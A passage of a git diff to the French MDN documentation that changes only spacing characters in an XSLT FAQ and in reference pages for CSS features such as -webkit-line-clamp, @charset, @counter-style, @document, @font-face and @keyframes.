feuilles de style XSLT depuis un domaine différent pour des raisons de sécurité. -#### Cela fonctione dans IE, mais pas dans Mozilla ? +#### Cela fonctione dans IE, mais pas dans Mozilla ? Il y a plus que cette "simple" différence. Nous suspectons que la plupart des différences proviennent de ce que fait IE après la transformation. IE (pour autant que l'on puisse dire) sérialise et analyse la sortie avant de générer ce qu'il rend. Mozilla, au contraire, rend exactement le résultat du votre transformation. -#### Puis-je désactiver l'échappement de la sortie avec `disable-output-escaping` ? +#### Puis-je désactiver l'échappement de la sortie avec `disable-output-escaping` ? Cette question est en fait très proche de la précédente. Pour faire court, non. Désactiver l'échappement en sortie nécessite que nous ajoutions une étape d'analyse à la génération de notre sortie, ce que nous ne voulons pas. Dans la plupart des cas, il existe des contournements assez facile à mettre en œuvre. Les seuls cas d'utilisation que nous ayons vu jusqu'à présent sont du mauvais XML, du mauvais XSLT, ou les flux RSS. Ce dernier est pour nous le seul problème, et nous sommes désolé de ne pouvoir le supporter, mais mélanger l'analyse avec le XSLT est à risque et nous préférons ne pas le supporter **d-o-e** plutôt que de provoquer des crashes ou de ralentir le processus. -#### Que dire de `document.write` ? +#### Que dire de `document.write` ? -Tout comme pour le XHTML, `document.write` n'est pas supporté pendant les transformations XSLT. Malheureusement, les compilations actuelles ne retournent pas d'erreur, mais donnent simplement des résultats inattendus, comme des crashes ({{ Bug(202765) }}). Dans la plupart des cas il n'y a en fait aucune raison de l'utiliser. Si vous avez besoin d'employer du code ou une feuille de style spécifique à une plate-forme, utilisez ce qui suit : +Tout comme pour le XHTML, `document.write` n'est pas supporté pendant les transformations XSLT. Malheureusement, les compilations actuelles ne retournent pas d'erreur, mais donnent simplement des résultats inattendus, comme des crashes ({{ Bug(202765) }}). Dans la plupart des cas il n'y a en fait aucune raison de l'utiliser. Si vous avez besoin d'employer du code ou une feuille de style spécifique à une plate-forme, utilisez ce qui suit : <xsl:if test="system-property('xsl:vendor')='Transformiix'"> <!-- Balisage propre à Mozilla --> @@ -29,7 +29,7 @@ Tout comme pour le XHTML, `document.write` n'est pas supporté pendant les trans <!-- Balisage propre à IE --> </xsl:if> -Vérifiez system-properties.xml pour les propriétés de votre système favori. MSXML possède une propriété supplémentaire : +Vérifiez system-properties.xml pour les propriétés de votre système favori. MSXML possède une propriété supplémentaire : <xsl:if xmlns:msxsl="urn:schemas-microsoft-com:xslt" test="system-property('msxsl:version')=3"> @@ -38,7 +38,7 @@ Vérifiez system-properties.xml pour les propriétés de votre système favori. #### Que dire de `media="print"`? -Lors de l'impression d'un document, Mozilla tente de produire une page imprimée aussi proche que possible de l'affichage à l'écran, en incluant par exemple le texte saisi dans des champs de formulaire, et tout autre changement dynamique. Pour cela, on imprime l'arbre DOM actuel. Utiliser une feuille de style XSLT spécifique à un `media` particulier requiererait une nouvelle transformation du document XML source original, ce qui pourrait produire une sortie différant de ce à quoi l'utilisateur s'attend. Aussi, l'utilisation de `media` dans \<?xml-stylesheet ?> est fortement déconseillée. Les futures compilations pourraient ne charger une feuille de style XSLT que si `media` n'est pas spécifié, ou si le `media` spécifié comporte `screen`. +Lors de l'impression d'un document, Mozilla tente de produire une page imprimée aussi proche que possible de l'affichage à l'écran, en incluant par exemple le texte saisi dans des champs de formulaire, et tout autre changement dynamique. Pour cela, on imprime l'arbre DOM actuel. Utiliser une feuille de style XSLT spécifique à un `media` particulier requiererait une nouvelle transformation du document XML source original, ce qui pourrait produire une sortie différant de ce à quoi l'utilisateur s'attend. Aussi, l'utilisation de `media` dans \<?xml-stylesheet ?> est fortement déconseillée. Les futures compilations pourraient ne charger une feuille de style XSLT que si `media` n'est pas spécifié, ou si le `media` spécifié comporte `screen`. Ceci n'affecte pas les feuilles de style CSS chargées depuis le DOM généré, qui emploient `media` comme les pages sans XSLT**.** @@ -46,10 +46,10 @@ Ceci n'affecte pas les feuilles de style CSS chargées depuis le DOM généré, Il existe `transformToDocument` et `transformToFragment` depuis Mozilla 1.2, voir [Utilisation de l'interface JavaScript de Mozilla pour les transformations XSL](fr/Utilisation_de_l'interface_JavaScript_de_Mozilla_pour_les_transformations_XSL). -#### Pourquoi Internet Explorer requiert-il un espace de nommage différent de celui de Mozilla ? +#### Pourquoi Internet Explorer requiert-il un espace de nommage différent de celui de Mozilla ? -Jusqu'à sa version 6, IE requiert un espace de nommage déprécié issu d'un brouillon XSLT, merci d'utiliser Mozilla ;-), IE6+ ou MSXML3+, qui ne posent pas ce problème. Comme les différences entre XSLT 1.0 et l'implémentation dans IE de ce brouillon sont significatives, nous n'offrons pas de support. +Jusqu'à sa version 6, IE requiert un espace de nommage déprécié issu d'un brouillon XSLT, merci d'utiliser Mozilla ;-), IE6+ ou MSXML3+, qui ne posent pas ce problème. Comme les différences entre XSLT 1.0 et l'implémentation dans IE de ce brouillon sont significatives, nous n'offrons pas de support. -#### Comment compiler une version autonome de TransforMiiX ? +#### Comment compiler une version autonome de TransforMiiX ? Voir l'article sur [Compilation de TransforMiiX](fr/Compilation_de_TransforMiiX). diff --git a/files/fr/web/css/-moz-context-properties/index.md b/files/fr/web/css/-moz-context-properties/index.md index 5bb568a022..88a9f4343d 100644 --- a/files/fr/web/css/-moz-context-properties/index.md +++ b/files/fr/web/css/-moz-context-properties/index.md @@ -67,7 +67,7 @@ Une fois que c'est fait, on peut utiliser les valeurs {{cssxref("fill")}} et {{c fill='context-fill red' stroke='context-stroke' fill-opacity='0.5'/></svg>"> ``` -Ici, l'attribut `src` de l'image correspond à une URI de données qui contient une simple image SVG. L'élément `<rect>` est paramétré afin de récupérer les valeurs `fill` et `stroke` telles que fournies par les propriétés {{cssxref("fill")}} et {{cssxref("stroke")}} de l'élément `<img>` grâce aux mots-clés `context-fill`/`context-stroke`. On utilise aussi une couleur de secours pour le remplissage (`fill`) (qui sera utilisée si le SVG est chargé en dehors de tout contexte, dans un nouvel onglet par exemple). On notera que, si une couleur est directement définie sur le SVG et qu'une couleur contextuelle (ici celle fournie par l'image) est également indiquée, ce sera cette dernière qui l'emportera. +Ici, l'attribut `src` de l'image correspond à une URI de données qui contient une simple image SVG. L'élément `<rect>` est paramétré afin de récupérer les valeurs `fill` et `stroke` telles que fournies par les propriétés {{cssxref("fill")}} et {{cssxref("stroke")}} de l'élément `<img>` grâce aux mots-clés `context-fill`/`context-stroke`. On utilise aussi une couleur de secours pour le remplissage (`fill`) (qui sera utilisée si le SVG est chargé en dehors de tout contexte, dans un nouvel onglet par exemple). On notera que, si une couleur est directement définie sur le SVG et qu'une couleur contextuelle (ici celle fournie par l'image) est également indiquée, ce sera cette dernière qui l'emportera. > **Note :** vous pouvez consulter [un exemple complet sur notre dépôt Github](https://mdn.github.io/css-examples/moz-context-properties/). diff --git a/files/fr/web/css/-moz-user-focus/index.md b/files/fr/web/css/-moz-user-focus/index.md index 9c79636659..c631b3cc21 100644 --- a/files/fr/web/css/-moz-user-focus/index.md +++ b/files/fr/web/css/-moz-user-focus/index.md @@ -25,7 +25,7 @@ La propriété **`-moz-user-focus`** est utilisée pour indiquer si l'élément En utilisant la valeur `ignore`, on peut désactiver la prise de focus sur l'élément (l'utilisateur ne pourra pas activer l'élément) et l'élément sera sauté lors de la navigation à la tabulation. -> **Note :** Cette propriété ne fonctionne pas pour les éléments XUL {{XULElem("textbox")}} car l'élément `textbox` en tant que tel ne reçoit jamais le focus. À la place, XBL crée un élément HTML {{HTMLElement("input")}} anonyme à l'intérieur du `textbox` et que l'élément reçoit le focus. On peut empêcher le `textbox` de prendre le focus clavier en passant son index de tabulation à `-1`, pour l'empêcher de prendre le focus souris, on pourra utiliser les événements `mousedown`. +> **Note :** Cette propriété ne fonctionne pas pour les éléments XUL {{XULElem("textbox")}} car l'élément `textbox` en tant que tel ne reçoit jamais le focus. À la place, XBL crée un élément HTML {{HTMLElement("input")}} anonyme à l'intérieur du `textbox` et que l'élément reçoit le focus. On peut empêcher le `textbox` de prendre le focus clavier en passant son index de tabulation à `-1`, pour l'empêcher de prendre le focus souris, on pourra utiliser les événements `mousedown`. ## Syntaxe diff --git a/files/fr/web/css/-webkit-line-clamp/index.md b/files/fr/web/css/-webkit-line-clamp/index.md index 6b9a4a80fc..408d26d0b1 100644 --- a/files/fr/web/css/-webkit-line-clamp/index.md +++ b/files/fr/web/css/-webkit-line-clamp/index.md @@ -46,8 +46,8 @@ Lorsqu'on applique ce style à une ancre, la troncature pourra intervenir au mil ```html <p> - Dans cet exemple <code>-webkit-line-clamp</code> vaut <code>3</code>, ce qui signifie que le texte sera rogné après trois lignes. - Une ellipse sera affichée au n ellipsis will be shown at the point where the text is clamped. + Dans cet exemple <code>-webkit-line-clamp</code> vaut <code>3</code>, ce qui signifie que le texte sera rogné après trois lignes. + Une ellipse sera affichée au n ellipsis will be shown at the point where the text is clamped. </p> ``` @@ -55,10 +55,10 @@ Lorsqu'on applique ce style à une ancre, la troncature pourra intervenir au mil ```css p { - width: 300px; - display: -webkit-box; - -webkit-box-orient: vertical; - -webkit-line-clamp: 3; + width: 300px; + display: -webkit-box; + -webkit-box-orient: vertical; + -webkit-line-clamp: 3; overflow: hidden; } ``` @@ -81,5 +81,5 @@ p { ## Voir aussi -- [Line Clampin’ (Truncating Multiple Line Text)](https://css-tricks.com/line-clampin/) +- [Line Clampin’ (Truncating Multiple Line Text)](https://css-tricks.com/line-clampin/) - {{cssxref("line-clamp")}} diff --git a/files/fr/web/css/-webkit-mask-box-image/index.md b/files/fr/web/css/-webkit-mask-box-image/index.md index dd2d49dc17..e0cdd0cd7e 100644 --- a/files/fr/web/css/-webkit-mask-box-image/index.md +++ b/files/fr/web/css/-webkit-mask-box-image/index.md @@ -51,7 +51,7 @@ Où : - `stretch` - : L'image de masque est étirée pour être contenue exactement dans la boîte de bordure. - `round` - - : L'image de masque est étirée et répétée de telle façon à ce qu'il n'y ait pas de morceaux d'image vers la fin de la boîte de bordure. + - : L'image de masque est étirée et répétée de telle façon à ce qu'il n'y ait pas de morceaux d'image vers la fin de la boîte de bordure. ## Exemples diff --git a/files/fr/web/css/-webkit-mask-position-x/index.md b/files/fr/web/css/-webkit-mask-position-x/index.md index 45941093f2..1dc612d4b3 100644 --- a/files/fr/web/css/-webkit-mask-position-x/index.md +++ b/files/fr/web/css/-webkit-mask-position-x/index.md @@ -42,7 +42,7 @@ La propriété **`-webkit-mask-position-x`** permet de définir la position hori ### Valeurs - `<length-percentage>` - - : Une longueur indiquant la position du bord gauche de l'image à partir du bord gauche de la boîte de remplissage (_padding_). Les pourcentages sont calculés relativement à la dimension horizontale de la boîte de remplissage. (`0%` indique que le bord gauche de l'image est aligné avec le bord gauche de la boîte de remplissage et `100%` indique que le bord droit de l'image est aligné avec le bord droit de la boîte de remplissage). + - : Une longueur indiquant la position du bord gauche de l'image à partir du bord gauche de la boîte de remplissage (_padding_). Les pourcentages sont calculés relativement à la dimension horizontale de la boîte de remplissage. (`0%` indique que le bord gauche de l'image est aligné avec le bord gauche de la boîte de remplissage et `100%` indique que le bord droit de l'image est aligné avec le bord droit de la boîte de remplissage). - **`left`** - : Un mot-clé équivalent à `0%`. - **`right`** diff --git a/files/fr/web/css/-webkit-mask-repeat-x/index.md b/files/fr/web/css/-webkit-mask-repeat-x/index.md index b2568be318..b481bb80bf 100644 --- a/files/fr/web/css/-webkit-mask-repeat-x/index.md +++ b/files/fr/web/css/-webkit-mask-repeat-x/index.md @@ -66,7 +66,7 @@ On peut définir un style de répétition (`<repeat-style>`) différent pour cha ```css .exempletrois { -webkit-mask-image: url('mask1.png'), url('mask2.png'); - -webkit-mask-repeat-x: repeat, space; + -webkit-mask-repeat-x: repeat, space; } ``` diff --git a/files/fr/web/css/-webkit-mask-repeat-y/index.md b/files/fr/web/css/-webkit-mask-repeat-y/index.md index 717f2f1aaa..8e828aa3b6 100644 --- a/files/fr/web/css/-webkit-mask-repeat-y/index.md +++ b/files/fr/web/css/-webkit-mask-repeat-y/index.md @@ -66,7 +66,7 @@ On peut définir un style de répétition (`<repeat-style>`) différent pour cha ```css .exempletrois { -webkit-mask-image: url('mask1.png'), url('mask2.png'); - -webkit-mask-repeat-y: repeat, space; + -webkit-mask-repeat-y: repeat, space; } ``` diff --git a/files/fr/web/css/@charset/index.md b/files/fr/web/css/@charset/index.md index daa7e6ceb9..a6642239ad 100644 --- a/files/fr/web/css/@charset/index.md +++ b/files/fr/web/css/@charset/index.md @@ -9,7 +9,7 @@ translation_of: Web/CSS/@charset --- {{CSSRef}} -La [règle @](/fr/docs/Web/CSS/R%C3%A8gles_@) **`@charset`** définit l'encodage des caractères utilisés dans la feuille de style. Cette règle doit être le premier élément de la feuille de style (aucun caractère ne doit être écrit avant). Cette règle ne fait pas partie des [instructions imbriquées](/fr/Apprendre/CSS/Les_bases/La_syntaxe#Les_instructions_CSS) et ne peut donc pas être utilisée [à l'intérieur des groupes conditionnels](/fr/docs/Web/CSS/Règles_@#R.C3.A8gles_conditionnelles_de_groupe). Si plusieurs règles `@charset` sont définies, seule la première sera utilisée. Cette règle ne pourra pas être utilisée au sein d'un attribut `style` d'un élément HTML ou avec l'élément {{HTMLElement("style")}} car c'est l'encodage du document HTML qui est alors pris en compte. +La [règle @](/fr/docs/Web/CSS/R%C3%A8gles_@) **`@charset`** définit l'encodage des caractères utilisés dans la feuille de style. Cette règle doit être le premier élément de la feuille de style (aucun caractère ne doit être écrit avant). Cette règle ne fait pas partie des [instructions imbriquées](/fr/Apprendre/CSS/Les_bases/La_syntaxe#Les_instructions_CSS) et ne peut donc pas être utilisée [à l'intérieur des groupes conditionnels](/fr/docs/Web/CSS/Règles_@#R.C3.A8gles_conditionnelles_de_groupe). Si plusieurs règles `@charset` sont définies, seule la première sera utilisée. Cette règle ne pourra pas être utilisée au sein d'un attribut `style` d'un élément HTML ou avec l'élément {{HTMLElement("style")}} car c'est l'encodage du document HTML qui est alors pris en compte. ```css @charset "utf-8"; @@ -34,7 +34,7 @@ Le moteur dispose de différentes méthodes pour déterminer l'encodage d'une fe où - `charset` - - : Est une chaîne de caractères (une valeur CSS de type {{cssxref("<string>")}}) indiquant l'encodage qui doit être utilisé. Cette valeur doit correspondre à un nom d'encodage valide pour le Web tel que défini dans [le registre IANA](https://www.iana.org/assignments/character-sets/character-sets.xhtml) et doit être délimitée par des doubles quotes, précédée d'un blanc (U+0020) et suivie d'un point-virgule. Si plusieurs noms sont associés avec l'encodage, seul celui marqué avec *préféré* (_preferred_) doit être utilisé. + - : Est une chaîne de caractères (une valeur CSS de type {{cssxref("<string>")}}) indiquant l'encodage qui doit être utilisé. Cette valeur doit correspondre à un nom d'encodage valide pour le Web tel que défini dans [le registre IANA](https://www.iana.org/assignments/character-sets/character-sets.xhtml) et doit être délimitée par des doubles quotes, précédée d'un blanc (U+0020) et suivie d'un point-virgule. Si plusieurs noms sont associés avec l'encodage, seul celui marqué avec *préféré* (_preferred_) doit être utilisé. ### Syntaxe formelle diff --git a/files/fr/web/css/@counter-style/fallback/index.md b/files/fr/web/css/@counter-style/fallback/index.md index 88bd654e07..76cc1a18b2 100644 --- a/files/fr/web/css/@counter-style/fallback/index.md +++ b/files/fr/web/css/@counter-style/fallback/index.md @@ -12,7 +12,7 @@ translation_of: Web/CSS/@counter-style/fallback Le descripteur **`fallback`**, associé à la règle @ {{cssxref("@counter-style")}} est utilisé afin d'indiquer un style de secours au cas où le style courant ne permet pas de créer une représentation pour le marqueur du compteur pour une valeur donnée. Si le style de secours indiqué ne le permet pas non plus, ce sera le style de secours du style de secours qui sera utilisé et ainsi de suite. Si un style de secours valide n'est pas indiqué, ce sera la valeur `decimal` qui sera utilisée. Les scénarios pour lesquels ce style de secours est utilisé sont : - Lorsque le descripteur {{cssxref('range')}} est utilisé, le style de secours est utilisé pour représenter les valeurs situées en dehors de l'intervalle. -- Lorsque le descripteur {{cssxref('system')}} vaut `fixed` et qu'il n'y a pas suffisamment de symboles pour couvrir l'ensemble des éléments de la liste, le style de secours est utilisé pour le reste des éléments de la liste. +- Lorsque le descripteur {{cssxref('system')}} vaut `fixed` et qu'il n'y a pas suffisamment de symboles pour couvrir l'ensemble des éléments de la liste, le style de secours est utilisé pour le reste des éléments de la liste. ## Syntaxe diff --git a/files/fr/web/css/@counter-style/system/index.md b/files/fr/web/css/@counter-style/system/index.md index e1c85ee212..d1a55dc889 100644 --- a/files/fr/web/css/@counter-style/system/index.md +++ b/files/fr/web/css/@counter-style/system/index.md @@ -47,7 +47,7 @@ Ce descripteur peut prendre l'une de ces trois formes : - : Le système interprète les symboles comme les chiffres d'un système de numérotation alphabétique. Ainsi, si les lettres `a` à `z` sont définies comme symbole dans un style de compteur dont le système est `alphabetic`, les 26 premières représentations du compteur seront `a`, `b`, etc. jusqu'à `z` (jusqu'ici, le comportement est identique à celui obtenu grâce à `symbolic`) mais ensuite, le système poursuivra avec `aa`, `ab`, `ac`, etc. Pour que le style du compteur soit valide, il faut qu'au moins deux symboles soient fournis. Le premier symbole est interprété comme `1`, le suivant comme `2` et ainsi de suite. Ce système ne fonctionne que pour les valeurs positives. - `numeric` - - : Les symboles sont interprétés comme les chiffres d'un [système de notation positionnelle](https://fr.wikipedia.org/wiki/Notation_positionnelle). Ce système est très proche de celui qu'on peut obtenir avec `alphabetic` sauf que, pour ce dernier, le premier symbole fourni par `symbols` sera interprété comme `1`, le suivant comme `2` et ainsi de suite alors que pour `numeric`, le premier symbole est interprété comme 0, le suivant comme `1`, puis `2` etc. Pour que le style de compteur soit valide, il faut qu'au moins deux symboles soient définis avec `symbols`. Le premier symbole qui est fourni sera interprété comme `0`. Comme on peut le voir dans l'exemple ci-après, si on utilise les chiffres de `0` à `9` comme symboles, on obtiendra le même résultat qu'avec le système décimal. + - : Les symboles sont interprétés comme les chiffres d'un [système de notation positionnelle](https://fr.wikipedia.org/wiki/Notation_positionnelle). Ce système est très proche de celui qu'on peut obtenir avec `alphabetic` sauf que, pour ce dernier, le premier symbole fourni par `symbols` sera interprété comme `1`, le suivant comme `2` et ainsi de suite alors que pour `numeric`, le premier symbole est interprété comme 0, le suivant comme `1`, puis `2` etc. Pour que le style de compteur soit valide, il faut qu'au moins deux symboles soient définis avec `symbols`. Le premier symbole qui est fourni sera interprété comme `0`. Comme on peut le voir dans l'exemple ci-après, si on utilise les chiffres de `0` à `9` comme symboles, on obtiendra le même résultat qu'avec le système décimal. - `additive` - : Ce système peut être utilisé pour représenter [des systèmes de numérotations additives](<https://fr.wikipedia.org/wiki/Notation_additive_(num%C3%A9ration)>) telles que les chiffres romains qui, plutôt que de réutiliser des chiffres pour obtenir différentes valeurs, définissent des chiffres supplémentaires pour représenter de grandes valeurs. La valeur d'un nombre représenté dans ce sytème est obtenue en sommant les différents chiffres qui le représentent. Le descripteur supplémentaire {{cssxref("additive-symbols")}} doit être utilisé avec au moins un tuple additif pour que le style de compteur soit considéré comme valide. Un tuple additif est composé d'un symbole de compteur et d'un poids entier positif. Les tuples additifs doivent être définis dans l'ordre décroissant de leurs poids afin que le système soit valide. On voit dans l'exemple ci-après que `range` est utilisé afin de définir l'intervalle de validité. Une fois en dehors de cet intervalle, on utilisera la représentation classique avec `decimal` (le style de secours). Si on veut utiliser les chiffres romains, on pourra utiliser les valeurs de style prédéfinies comme `upper-roman` ou `lower-roman` afin d'éviter de réinventer la roue. - `extends` @@ -79,11 +79,11 @@ Ce descripteur peut prendre l'une de ces trois formes : ```html <ul class="list"> - <li>Un</li> - <li>Deux</li> - <li>Trois</li> + <li>Un</li> + <li>Deux</li> + <li>Trois</li> <li>Quatre</li> - <li>Cinq</li> + <li>Cinq</li> </ul> ``` diff --git a/files/fr/web/css/@document/index.md b/files/fr/web/css/@document/index.md index 9df7d20450..cd62f4a518 100644 --- a/files/fr/web/css/@document/index.md +++ b/files/fr/web/css/@document/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/@document --- {{CSSRef}}{{SeeCompatTable}} -La [règle @ CSS](/fr/docs/Web/CSS/R%C3%A8gles_@) **`@document`** restreint les règles qu'elle contient en fonction de l'URL du document. Elle est principalement conçue pour les feuilles de style utilisateur, bien qu'elle puisse être également utilisée pour les feuilles de style d'auteur. +La [règle @ CSS](/fr/docs/Web/CSS/R%C3%A8gles_@) **`@document`** restreint les règles qu'elle contient en fonction de l'URL du document. Elle est principalement conçue pour les feuilles de style utilisateur, bien qu'elle puisse être également utilisée pour les feuilles de style d'auteur. ```css @document url("https://www.example.com/") { @@ -24,15 +24,15 @@ La [règle @ CSS](/fr/docs/Web/CSS/R%C3%A8gles_@) **`@document`** restreint les Une règle `@document` peut définir une ou plusieurs fonctions de correspondance. Si l'une quelconque des règles s'applique à l'URL donnée, la règle prendra effet sur cette URL. Les fonctions disponibles sont : -- `url()`, qui établit une correspondance avec une URL exacte ; -- `url-prefix()`, qui établit une correspondance si l'URL du document commence par la valeur fournie ; -- `domain()`, qui établit une correspondance si l'URL du document se trouve sur le domaine indiqué (ou l'un de ses sous-domaines) ; +- `url()`, qui établit une correspondance avec une URL exacte ; +- `url-prefix()`, qui établit une correspondance si l'URL du document commence par la valeur fournie ; +- `domain()`, qui établit une correspondance si l'URL du document se trouve sur le domaine indiqué (ou l'un de ses sous-domaines) ; - `media-document()` qui caractérise le type de document : vidéo, image, plugin, tout ; -- `regexp()`, qui établit une correspondance avec si l'URL du document vérifie une [expression rationnelle](/fr-FR/docs/Web/JavaScript/Guide/Regular_Expressions). L'expression doit correspondre à l'URL entière. +- `regexp()`, qui établit une correspondance avec si l'URL du document vérifie une [expression rationnelle](/fr-FR/docs/Web/JavaScript/Guide/Regular_Expressions). L'expression doit correspondre à l'URL entière. -Les valeurs fournies aux fonctions `url()`, `url-prefix()`, `media-document()` et `domain()` peuvent être éventuellement délimitées par des apostrophes, simples ou doubles. Les valeurs fournies à la fonction `regexp()` _doivent_ être délimitées par des apostrophes. +Les valeurs fournies aux fonctions `url()`, `url-prefix()`, `media-document()` et `domain()` peuvent être éventuellement délimitées par des apostrophes, simples ou doubles. Les valeurs fournies à la fonction `regexp()` _doivent_ être délimitées par des apostrophes. -Les valeurs échappées fournies à la fonction `regexp()` doivent être en outre échappées pour le CSS. Par exemple, un `.` (point) correspond à n'importe quel caractère dans les expressions régulières. Pour établir une correspondance avec un point littéral, vous aurez d'abord besoin de l'échapper en utilisant les règles des expressions rationnelles (en `\.`), puis d'échapper cette chaîne en utilisant les règles CSS (en `\\.`). +Les valeurs échappées fournies à la fonction `regexp()` doivent être en outre échappées pour le CSS. Par exemple, un `.` (point) correspond à n'importe quel caractère dans les expressions régulières. Pour établir une correspondance avec un point littéral, vous aurez d'abord besoin de l'échapper en utilisant les règles des expressions rationnelles (en `\.`), puis d'échapper cette chaîne en utilisant les règles CSS (en `\\.`). > **Note :** Il existe une version préfixée de cette propriété pour Mozilla : `@-moz-document`. Cette propriété a été restreinte aux feuilles de style utilisateur ou à celles de l'agent utilisateur à partir de Firefox 59 afin d'expérimenter une méthode de réduction des risques d'injections CSS (cf. {{bug(1035091)}}). @@ -67,7 +67,7 @@ Les valeurs échappées fournies à la fonction `regexp()` doivent être en ou ## Spécifications -[Initialement](https://www.w3.org/TR/css3-conditional/) dans {{SpecName('CSS3 Conditional')}}, `@document` a [été repoussée](http://www.w3.org/TR/2012/WD-css3-conditional-20121213/#changes) au niveau 4. +[Initialement](https://www.w3.org/TR/css3-conditional/) dans {{SpecName('CSS3 Conditional')}}, `@document` a [été repoussée](http://www.w3.org/TR/2012/WD-css3-conditional-20121213/#changes) au niveau 4. ## Compatibilité des navigateurs @@ -75,4 +75,4 @@ Les valeurs échappées fournies à la fonction `regexp()` doivent être en ou ## Voir aussi -- [Per-site user style sheet rules](http://lists.w3.org/Archives/Public/www-style/2004Aug/0135) sur la liste de diffusion www-style. +- [Per-site user style sheet rules](http://lists.w3.org/Archives/Public/www-style/2004Aug/0135) sur la liste de diffusion www-style. diff --git a/files/fr/web/css/@font-face/font-display/index.md b/files/fr/web/css/@font-face/font-display/index.md index d536c50a2a..0089e97edd 100644 --- a/files/fr/web/css/@font-face/font-display/index.md +++ b/files/fr/web/css/@font-face/font-display/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/@font-face/font-display --- {{CSSRef}} -La propriété **`font-display`** détermine la façon dont une fonte est affichée selon qu'elle ait été chargée et prête à être utilisée. +La propriété **`font-display`** détermine la façon dont une fonte est affichée selon qu'elle ait été chargée et prête à être utilisée. ## Le déroulement de l'affichage d'une police diff --git a/files/fr/web/css/@font-face/font-variation-settings/index.md b/files/fr/web/css/@font-face/font-variation-settings/index.md index b1c2e35474..493ba219fb 100644 --- a/files/fr/web/css/@font-face/font-variation-settings/index.md +++ b/files/fr/web/css/@font-face/font-variation-settings/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/@font-face/font-variation-settings --- {{CSSRef}} -Le descripteur **`font-variation-settings`**, associé à la règle @ {{cssxref("@font-face")}} permet d'indiquer les variations de police de bas niveau pour les polices OpenType ou TrueType. +Le descripteur **`font-variation-settings`**, associé à la règle @ {{cssxref("@font-face")}} permet d'indiquer les variations de police de bas niveau pour les polices OpenType ou TrueType. ## Syntaxe diff --git a/files/fr/web/css/@font-face/index.md b/files/fr/web/css/@font-face/index.md index 7084f72a43..502d694766 100644 --- a/files/fr/web/css/@font-face/index.md +++ b/files/fr/web/css/@font-face/index.md @@ -59,7 +59,7 @@ La règle `@font-face` peut être utilisée au niveau global d'une feuille de st Les types utilisables sont : `"woff"`, `"woff2"`, `"truetype"`, `"opentype"`, `"embedded-opentype"` et `"svg"`. - {{cssxref("@font-face/unicode-range", "unicode-range")}} - - : L'intervalle des points de code Unicode pour lesquels la règle `@font-face` s'applique. + - : L'intervalle des points de code Unicode pour lesquels la règle `@font-face` s'applique. ### Syntaxe formelle diff --git a/files/fr/web/css/@font-feature-values/index.md b/files/fr/web/css/@font-feature-values/index.md index 6b1211f0f1..03b945a2b4 100644 --- a/files/fr/web/css/@font-feature-values/index.md +++ b/files/fr/web/css/@font-feature-values/index.md @@ -15,7 +15,7 @@ La [règle @](/fr/docs/Web/CSS/At-rule) **`@font-feature-values`** permet aux au @font-feature-values Font One { /* On active la caractéristique nice-style sur Font One */ - @styleset { + @styleset { nice-style: 12; } } @@ -52,7 +52,7 @@ La règle @ `@font-feature-values` peut être utilisée au plus haut niveau d'un - `@styleset` - : Indique le nom d'une caractéristique qui fonctionnera avec la notation fonctionnelle {{cssxref("font-variant-alternates", "styleset()", "#styleset()")}}. Plusieurs valeurs peuvent être utilisées pour cette caractéristique : `ident1: 2 4 12 1` correspondra aux valeurs OpenType `ss02`, `ss04`, `ss12`, `ss01`. Les valeurs supérieures à `99` sont valides mais ne correspondent à aucune valeur OpenType et sont donc ignorées. - `@character-variant` - - : Indique le nom d'une caractéristique qui fonctionnera avec la notation fonctionnelle {{cssxref("font-variant-alternates", "character-variant()", "#character-variant()")}}. Pour cette définition, on peut utiliser une ou deux valeurs : `ident1: 2` correspond à `cv02=1` et `ident2: 2 4` correspond à `cv02)4`, en revanche `ident2: 2 4 5` est invalide. + - : Indique le nom d'une caractéristique qui fonctionnera avec la notation fonctionnelle {{cssxref("font-variant-alternates", "character-variant()", "#character-variant()")}}. Pour cette définition, on peut utiliser une ou deux valeurs : `ident1: 2` correspond à `cv02=1` et `ident2: 2 4` correspond à `cv02)4`, en revanche `ident2: 2 4 5` est invalide. ### Syntaxe formelle diff --git a/files/fr/web/css/@keyframes/index.md b/files/fr/web/css/@keyframes/index.md index b803960cde..e7e7053bb9 100644 --- a/files/fr/web/css/@keyframes/index.md +++ b/files/fr/web/css/@keyframes/index.md @@ -66,16 +66,16 @@ Les déclarations qui utilisent `!important` dans une description d'étape sont ```css @keyframes important1 { - from { margin-top: 50px; } - 50% { margin-top: 150px !important; } /* ignorée */ - to { margin-top: 100px; } + from { margin-top: 50px; } + 50% { margin-top: 150px !important; } /* ignorée */ + to { margin-top: 100px; } } @keyframes important2 { from { margin-top: 50px; - margin-bottom: 100px; } - to { margin-top: 150px !important; /* ignorée */ - margin-bottom: 50px; } + margin-bottom: 100px; } + to { margin-top: 150px !important; /* ignorée */ + margin-bottom: 50px; } } ``` diff --git a/files/fr/web/css/@media/-moz-device-pixel-ratio/index.md b/files/fr/web/css/@media/-moz-device-pixel-ratio/index.md index 9ec09a1821..c49fc851ef 100644 --- a/files/fr/web/css/@media/-moz-device-pixel-ratio/index.md +++ b/files/fr/web/css/@media/-moz-device-pixel-ratio/index.md @@ -11,7 +11,7 @@ translation_of: Web/CSS/@media/-moz-device-pixel-ratio --- {{cssref}} {{Non-standard_header}} {{Deprecated_header}}{{h3_gecko_minversion("-moz-device-pixel-ratio", "2.0")}} {{deprecated_inline("16")}} -La [caractéristique média](/fr/docs/Web/CSS/Media_Queries/Using_media_queries#ciblfer_des_caract%c3%a9ristiques_m%c3%a9dia) **`-moz-device-pixel-ratio`**, associée à [`@media`](/fr/docs/Web/CSS/@media "The @media CSS at-rule lets you specify declarations that depend on the condition of a media query. The rule may be placed at the top level of your code or nested inside any other conditional group at-rule."), est une caractéristique propre à Gecko et peut être utilisée pour appliquer certains styles en fonctions du nombres de pixels physiques par pixel CSS. +La [caractéristique média](/fr/docs/Web/CSS/Media_Queries/Using_media_queries#ciblfer_des_caract%c3%a9ristiques_m%c3%a9dia) **`-moz-device-pixel-ratio`**, associée à [`@media`](/fr/docs/Web/CSS/@media "The @media CSS at-rule lets you specify declarations that depend on the condition of a media query. The rule may be placed at the top level of your code or nested inside any other conditional group at-rule."), est une caractéristique propre à Gecko et peut être utilisée pour appliquer certains styles en fonctions du nombres de pixels physiques par pixel CSS. > **Attention :** Ne pas utiliser cette fonctionnalité ! La caractéristique [`resolution`](/fr/docs/Web/CSS/@media/resolution) et l'unité `dppx` permettent d'obtenir le même mécanisme. > @@ -26,7 +26,7 